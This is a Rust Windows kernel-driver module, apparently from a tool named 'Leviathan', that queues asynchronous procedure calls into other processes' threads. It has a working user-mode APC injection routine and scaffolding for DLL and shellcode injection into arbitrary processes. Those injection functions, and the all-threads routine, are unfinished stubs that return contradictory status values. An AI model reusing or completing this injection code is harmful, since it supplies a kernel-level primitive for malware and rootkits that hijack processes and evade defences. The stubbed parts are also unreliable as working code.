use core::ptr;
use wdk::println;
use wdk_sys::{
ntddk::{
PsLookupProcessByProcessId, PsLookupThreadByThreadId,
ObfDereferenceObject,
},
KAPC, NTSTATUS, PEPROCESS, PETHREAD,
PKAPC, PVOID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
};
pub const ORIGINAL_APC_ENVIRONMENT: i32 = 0;
pub const ATTACHED_APC_ENVIRONMENT: i32 = 1;
pub const CURRENT_APC_ENVIRONMENT: i32 = 2;
#[allow(non_camel_case_types, non_snake_case)]
pub type PKKERNEL_ROUTINE = Option<unsafe extern "C" fn(
Apc: PKAPC,
NormalRoutine: *mut Option<unsafe extern "C" fn(PVOID, PVOID, PVOID)>,
NormalContext: *mut PVOID,
SystemArgument1: *mut PVOID,
SystemArgument2: *mut PVOID,
)>;
#[allow(non_camel_case_types, non_snake_case)]
pub type PKNORMAL_ROUTINE = Option<unsafe extern "C" fn(
NormalContext: PVOID,
SystemArgument1: PVOID,
SystemArgument2: PVOID,
)>;
#[allow(non_camel_case_types, non_snake_case)]
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "C" fn(Apc: PKAPC)>;
#[allow(non_camel_case_types)]
pub type KPROCESSOR_MODE = i8;
pub const KERNEL_MODE: KPROCESSOR_MODE = 0;
pub const USER_MODE: KPROCESSOR_MODE = 1;
unsafe extern "system" {
pub fn KeInitializeApc(
Apc: PKAPC,
Thread: PETHREAD,
ApcStateIndex: i32,
KernelRoutine: PKKERNEL_ROUTINE,
RundownRoutine: PKRUNDOWN_ROUTINE,
NormalRoutine: PKNORMAL_ROUTINE,
ApcMode: KPROCESSOR_MODE,
NormalContext: PVOID,
);
pub fn KeInsertQueueApc(
Apc: PKAPC,
SystemArgument1: PVOID,
SystemArgument2: PVOID,
Increment: u32,
) -> i32;
pub fn KeTestAlertThread(ApcMode: KPROCESSOR_MODE);
}
#[repr(i32)]
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ApcEnvironment {
OriginalApcEnvironment = ORIGINAL_APC_ENVIRONMENT,
AttachedApcEnvironment = ATTACHED_APC_ENVIRONMENT,
CurrentApcEnvironment = CURRENT_APC_ENVIRONMENT,
}
pub struct KernelApc {
apc: KAPC,
initialized: bool,
}
impl KernelApc {
pub const fn new() -> Self {
Self {
apc: unsafe { core::mem::zeroed() },
initialized: false,
}
}
pub unsafe fn init_kernel_apc(
&mut self,
thread: PETHREAD,
kernel_routine: PKKERNEL_ROUTINE,
rundown_routine: PKRUNDOWN_ROUTINE,
normal_routine: PKNORMAL_ROUTINE,
mode: KPROCESSOR_MODE,
context: PVOID,
) {
unsafe {
KeInitializeApc(
&mut self.apc,
thread,
ApcEnvironment::OriginalApcEnvironment as i32,
kernel_routine,
rundown_routine,
normal_routine,
mode,
context,
);
}
self.initialized = true;
}
pub unsafe fn init_user_apc(
&mut self,
thread: PETHREAD,
apc_routine: PKNORMAL_ROUTINE,
context: PVOID,
) {
unsafe {
KeInitializeApc(
&mut self.apc,
thread,
ApcEnvironment::OriginalApcEnvironment as i32,
Some(user_apc_kernel_routine),
None, apc_routine,
USER_MODE,
context,
);
}
self.initialized = true;
}
pub unsafe fn insert(&mut self, arg1: PVOID, arg2: PVOID) -> bool {
if !self.initialized {
return false;
}
unsafe { KeInsertQueueApc(&mut self.apc, arg1, arg2, 0) != 0 }
}
pub fn as_ptr(&mut self) -> PKAPC {
&mut self.apc
}
}
unsafe extern "C" fn user_apc_kernel_routine(
_apc: PKAPC,
_normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID,
) {
}
pub unsafe fn inject_user_apc(
thread_id: usize,
apc_routine: PKNORMAL_ROUTINE,
parameter: PVOID,
) -> Result<(), NTSTATUS> {
let mut thread: PETHREAD = ptr::null_mut();
let status = unsafe {
PsLookupThreadByThreadId(thread_id as *mut _, &mut thread)
};
if status != STATUS_SUCCESS {
println!("[Leviathan] APC: Failed to lookup thread {}", thread_id);
return Err(status);
}
let mut apc = KernelApc::new();
unsafe { apc.init_user_apc(thread, apc_routine, parameter) };
let success = unsafe { apc.insert(ptr::null_mut(), ptr::null_mut()) };
if !success {
unsafe { ObfDereferenceObject(thread as *mut _) };
return Err(STATUS_UNSUCCESSFUL);
}
unsafe {
KeTestAlertThread(USER_MODE);
}
println!("[Leviathan] APC: Queued user APC to thread {}", thread_id);
unsafe { ObfDereferenceObject(thread as *mut _) };
Ok(())
}
pub unsafe fn inject_apc_all_threads(
process_id: usize,
_apc_routine: PKNORMAL_ROUTINE,
_parameter: PVOID,
) -> Result<u32, NTSTATUS> {
let mut process: PEPROCESS = ptr::null_mut();
let status = unsafe {
PsLookupProcessByProcessId(process_id as *mut _, &mut process)
};
if status != STATUS_SUCCESS {
return Err(status);
}
let threads_injected = 0u32;
unsafe { ObfDereferenceObject(process as *mut _) };
Ok(threads_injected)
}
pub mod dll_injection {
use super::*;
#[repr(C)]
pub struct DllInjectionContext {
pub dll_path: [u16; 260],
pub ldr_load_dll: usize,
pub module_handle: usize,
}
#[allow(dead_code)]
pub unsafe fn inject_dll(
_process_id: usize,
_dll_path: &str,
) -> Result<(), NTSTATUS> {
println!("[Leviathan] DLL injection via APC requested");
Err(STATUS_SUCCESS) }
}
pub mod shellcode_injection {
use super::*;
#[allow(dead_code)]
pub unsafe fn inject_shellcode(
_process_id: usize,
_shellcode: &[u8],
) -> Result<(), NTSTATUS> {
println!("[Leviathan] Shellcode injection via APC requested");
Err(STATUS_SUCCESS) }
}
pub mod special_apc {
use super::*;
#[allow(dead_code)]
pub unsafe fn queue_special_apc(
_thread_id: usize,
_apc_routine: PKNORMAL_ROUTINE,
_parameter: PVOID,
) -> Result<(), NTSTATUS> {
println!("[Leviathan] Special User APC requested (RS5+)");
Err(STATUS_SUCCESS) }
}